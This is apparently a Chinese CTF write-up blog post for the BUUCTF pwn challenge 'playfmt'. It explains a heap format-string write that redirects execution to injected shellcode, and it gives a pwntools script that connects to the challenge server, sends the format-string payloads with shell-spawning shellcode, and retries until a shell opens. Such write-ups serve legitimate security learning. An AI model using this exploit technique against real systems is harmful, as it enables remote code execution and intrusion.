Loading... <!-- wp:paragraph --> <p>在看这篇WP前,如果你不了解堆上的格式化字符串的利用方法,建议你先看一下<span class="external-link"><a class="no-external-link" href="https://www.cjovi.icu/WP/buu-xman_2019_format-wp.html" target="_blank"><i data-feather="external-link"></i>这一篇WP</a></span>。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>这道题和xman_2019_format这题基本没什么差别,就是没了原来的后门函数,但是这题没开NX,所以我们可以注入shellcode然后retrun到那里就可以了。程序也没有开启PIE,那么shellcode在的位置就是</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":779,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208185629.png" alt="" class="wp-image-779"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>buf所在的位置</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * context(log_level = 'debug',os = 'linux',arch = 'i386') shellcode = asm(shellcraft.sh()) while 1: #sh = process("./playfmt") sh = remote("node3.buuoj.cn","26226") payload = "%12c" + "%6$hhn" sh.recvuntil("=\n") sh.sendlineafter("=\n",payload) payload = "%41069c" + "%10$hn" + shellcode #由于我这里一起注入了shellcode,所以输出的字符数是0xA060+13 sh.sendline(payload) sh.sendline('quit') try: ┊ sh.sendline("echo pwned") ┊ sh.recvuntil("pwned") ┊ sh.interactive() ┊ break; except: ┊ sh.close() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p></p> <!-- /wp:paragraph --> 最后修改:2021 年 01 月 04 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧